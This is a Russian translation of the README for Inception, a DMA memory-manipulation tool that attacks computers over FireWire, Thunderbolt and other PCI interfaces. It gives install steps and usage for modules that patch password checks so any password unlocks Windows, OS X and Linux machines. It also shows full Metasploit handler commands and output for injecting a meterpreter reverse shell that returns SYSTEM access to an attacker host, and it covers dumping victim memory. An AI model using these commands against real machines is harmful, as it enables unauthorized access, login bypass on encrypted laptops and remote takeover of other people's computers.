
Inception — это инструмент для физического манипулирования памятью и взлома, эксплуатирующий DMA на основе PCI. Инструмент может атаковать через FireWire, Thunderbolt, ExpressCard, PC Card и любые другие интерфейсы PCI/PCIe.
Note: Этот инструмент больше не находится в активной разработке, вместо него смотрите PCILeech.
Inception — это инструмент для манипуляции физической памятью и взлома, использующий DMA на основе PCI. Инструмент может атаковать через FireWire, Thunderbolt, ExpressCard, PC Card и любые другие аппаратные интерфейсы PCI/PCIe.
Inception стремится предоставить относительно быстрый, стабильный, простой и расширяемый способ выполнения интрузивных и неинтрузивных манипуляций с памятью живых компьютеров с использованием DMA.
Модули Inception работают следующим образом: предъявляя машине-жертве unit directory протокола Serial Bus Protocol 2 (SBP-2) через интерфейс IEEE1394 FireWire, инструмент заставляет операционную систему жертвы думать, что к порту FireWire подключено устройство SBP-2. Поскольку устройства SBP-2 используют прямой доступ к памяти (DMA) для быстрой передачи больших объёмов данных (например, FireWire-диски и цифровые видеокамеры), жертва опускает щиты и включает DMA для устройства. Теперь инструмент получает полный доступ на чтение и запись к нижним 4 ГБ ОЗУ жертвы.
Как только DMA предоставлен, инструмент ищет в доступных страницах памяти сигнатуры по определённым смещениям в коде операционной системы. Когда они найдены, инструмент модифицирует этот код. Например, в модуле unlock инструмент закорачивает модуль аутентификации пароля операционной системы, который срабатывает при вводе неверного пароля.
После запуска этого модуля вы сможете войти в машину-жертву, используя любой пароль.
Аналогия этой операции — внедрение идеи в память машины; идеи, что любой пароль верен. Другими словами, эквивалент [внедрения в память] 1.
Inception бесплатен как пиво и является моим побочным проектом.
Мировые эксперты по криминалистике, правительства и агентства с трёхбуквенными аббревиатурами уже используют [подобные инструменты] 2. Поэтому если вы диссидент или живёте при репрессивном режиме, этот инструмент наглядно показывает, почему важна OPSEC. Никогда не оставляйте свой ноутбук без присмотра.
[OS X > 10.7.2] 6 и [Windows > 8.1] 7 отключают FireWire DMA, когда пользователь заблокировал ОС, и тем самым предотвращают inception. Инструмент по-прежнему работает, пока пользователь вошёл в систему. Однако в реальной жизни это менее вероятный сценарий атаки.
Кроме того, [OS X Mavericks > 10.8.2 на Ivy Bridge (>= 2012 Macs)] 8 включает VT-D, что фактически блокирует запросы DMA и сводит на нет все модули inception, даже когда пользователь вошёл в систему. Ищите записи vtd[0] fault в вашем журнале/консоли.
Хотя эти два предостережения со временем сократят количество сценариев, где этот инструмент полезен, по состоянию на март 2015 года [70 % машин по-прежнему уязвимы] 9.
Инструмент использует библиотеку libforensic1394, предоставленную Фредди Уизерденом (Freddie Witherden), под лицензией LGPL.
Inception требует:
На стороне атакующего в настоящее время рекомендуется Linux из-за проблемных интерфейсов FireWire в OS X. Обратите внимание, что прямое соединение Thunderbolt-to-Thunderbolt не работает, нужен переходник FireWire. При попытке использовать Thunderbolt в Linux результаты могут отличаться.
В дистрибутивах на основе Debian команды установки можно свести к следующему (примените sudo, если вы не root):
apt-get install git cmake g++ python3 python3-pip
В OS X можно установить требования инструмента с помощью [homebrew] 4:
brew install git cmake python3
После установки требований загрузите и установите libforensic1394:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
Скрипт установки должен автоматически установить зависимости, если у вас установлен pip.
Просто введите:
incept [module name]
Для более полного и актуального описания выполните:
incept -h
или посетите [домашнюю страницу инструмента] 5.
Начиная с версии 0.4.0 Inception был модуляризирован. Текущие модули и их функциональность описаны ниже.
Подробные параметры использования смотрите, выполнив:
incept [module name] -h
Модуль unlock может разблокировать (принимая любой пароль) и повышать привилегии до администратора/root на почти* любой включённой машине, к которой у вас есть физический доступ. Модуль в первую очередь предназначен для своей магии против компьютеров, использующих полное шифрование диска, таких как BitLocker, FileVault, TrueCrypt или Pointsec. Есть множество других (и лучших) способов взломать машину без шифрования.
Модуль unlock стабильно работает на машинах с 4 ГиБ основной памяти или меньше. Если на цели больше, вам понадобится удача, чтобы найти сигнатуры, отображённые на кадр физической страницы памяти, доступный инструменту.
В этой версии он может разблокировать следующие операционные системы x86 и x64:
(1): См. предостережения выше.
Другие дистрибутивы Linux, использующие аутентификацию на основе PAM, также могут работать с сигнатурами Ubuntu.
Модуль также эффективно позволяет повышать привилегии, например, через команды runas или sudo -s соответственно.
Чтобы разблокировать, просто введите:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Модуль implant внедряет полезную нагрузку Metasploit (только в память) непосредственно в энергозависимую память целевой машины. Он интегрируется с MSF через демон msfrpcd, входящий во все версии Metasploit.
Текущая версия работает только как доказательство концепции против Windows 7 SP1 x86. Никакие другие ОС, версии или архитектуры не поддерживаются, и нет никакой гарантии, что они будут поддерживаться в будущем.
Для использования запустите msfrpcd:
msfrpcd -P [password]
Затем запустите inception в другом терминале:
incept implant --msfpw [password] --msfopts [options]
Например, чтобы создать reverse TCP meterpreter shell с целевой машины на ваш атакующий хост, сначала запустите демон msfrpcd, а затем запустите консоль, ожидающую обратных подключений.
msfrpcd -P password
msfconsole
В консоли мы настраиваем принимающую сторону полезной нагрузки. Устанавливаем параметр EXITFUNC в значение thread, чтобы целевой процесс оставался живым, если что-то пойдёт не так:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
Затем в другом терминале запускаем Inception:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
В консоли MSF вы должны увидеть что-то похожее на это:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Модуль dump упрощает дамп памяти с целевой машины на атакующий хост.
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Пожалуйста, обратите внимание на комментарии в начале и [домашнюю страницу инструмента] 5.
Смотрите [домашнюю страницу инструмента] 5.
Не причиняйте зла с помощью этого инструмента. Кроме того, я пентестер, а не разработчик. Поэтому если вы видите странный код, который раздражает ваши чувства питонической чистоты, сообщите мне, как я могу его улучшить. Или ещё лучше — форкните мой код, измените его и отправьте pull request.
| ОС | Версия | Разблокировка экрана входа | Повышение привилегий |
|---|
| Windows 8 | 8.1 | Да (1) | Да (1) |
| Windows 8 | 8.0 | Да | Да |
| Windows 7 | SP1 | Да | Да |
| Windows 7 | SP0 | Да | Да |
| Windows Vista | SP2 | Да | Да |
| Windows Vista | SP1 | Да | Да |
| Windows Vista | SP0 | Да | Да |
| Windows XP | SP3 | Да | Да |
| Windows XP | SP2 | Да | Да |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | Да (1) | Да (1) |
| Mac OS X | Mountain Lion | Да (1) | Да (1) |
| Mac OS X | Lion | Да (1) | Да (1) |
| Mac OS X | Snow Leopard | Да | Да |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | Да | Да |
| Ubuntu | Raring | Да | Да |
| Ubuntu | Quantal | Да | Да |
| Ubuntu | Precise | Да | Да |
| Ubuntu | Oneiric | Да | Да |
| Ubuntu | Natty | Да | Да |
| Linux Mint | 13 | Да | Да |
| Linux Mint | 12 | Да | Да |
| Linux Mint | 12 | Да | Да |